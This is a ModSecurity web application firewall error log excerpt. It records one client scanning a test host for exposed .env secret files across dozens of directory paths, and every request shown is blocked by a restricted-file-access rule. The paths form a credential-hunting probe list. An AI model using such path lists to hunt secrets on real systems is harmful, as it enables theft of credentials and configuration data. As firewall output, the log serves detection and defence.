[Mon Jul 28 20:46:17.702673 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZwAAAAQ&quot;]
[Mon Jul 28 20:46:17.702829 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/roundcubemail/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNZwAAAAQ&quot;]
[Mon Jul 28 20:46:17.725039 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /routes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaAAAAAQ&quot;]
[Mon Jul 28 20:46:17.725246 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaAAAAAQ&quot;]
[Mon Jul 28 20:46:17.725429 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/routes/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaAAAAAQ&quot;]
[Mon Jul 28 20:46:17.747639 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /run/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaQAAAAQ&quot;]
[Mon Jul 28 20:46:17.747822 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaQAAAAQ&quot;]
[Mon Jul 28 20:46:17.747972 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/run/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNaQAAAAQ&quot;]
[Mon Jul 28 20:46:17.770140 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNagAAAAQ&quot;]
[Mon Jul 28 20:46:17.770327 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNagAAAAQ&quot;]
[Mon Jul 28 20:46:17.770525 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNagAAAAQ&quot;]
[Mon Jul 28 20:46:17.792714 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rust-backend/dao/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNawAAAAQ&quot;]
[Mon Jul 28 20:46:17.792904 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNawAAAAQ&quot;]
[Mon Jul 28 20:46:17.793086 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rust-backend/dao/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNawAAAAQ&quot;]
[Mon Jul 28 20:46:17.815260 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s-with-me-front/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbAAAAAQ&quot;]
[Mon Jul 28 20:46:17.815454 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbAAAAAQ&quot;]
[Mon Jul 28 20:46:17.815621 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s-with-me-front/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbAAAAAQ&quot;]
[Mon Jul 28 20:46:17.861068 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /saas/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbgAAAAQ&quot;]
[Mon Jul 28 20:46:17.861262 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbgAAAAQ&quot;]
[Mon Jul 28 20:46:17.861425 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/saas/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbgAAAAQ&quot;]
[Mon Jul 28 20:46:17.883636 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/chatroom/chatroom-spa/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbwAAAAQ&quot;]
[Mon Jul 28 20:46:17.883833 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbwAAAAQ&quot;]
[Mon Jul 28 20:46:17.884016 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/chatroom/chatroom-spa/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNbwAAAAQ&quot;]
[Mon Jul 28 20:46:17.906228 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /samples/docker/deploymentscripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcAAAAAQ&quot;]
[Mon Jul 28 20:46:17.906456 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcAAAAAQ&quot;]
[Mon Jul 28 20:46:17.906629 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/samples/docker/deploymentscripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcAAAAAQ&quot;]
[Mon Jul 28 20:46:17.951737 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /script/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcgAAAAQ&quot;]
[Mon Jul 28 20:46:17.951938 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcgAAAAQ&quot;]
[Mon Jul 28 20:46:17.952086 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/script/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcgAAAAQ&quot;]
[Mon Jul 28 20:46:17.974381 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcwAAAAQ&quot;]
[Mon Jul 28 20:46:17.974573 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcwAAAAQ&quot;]
[Mon Jul 28 20:46:17.974721 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNcwAAAAQ&quot;]
[Mon Jul 28 20:46:17.996868 2025] [:error] [pid 1533990] [client 185.177.72.201:36212] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /scripts/fvt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/scripts/fvt/.env&quot;] [unique_id &quot;aIfFeeXeAg5fi4n6U5fNdAAAAAQ&quot;]
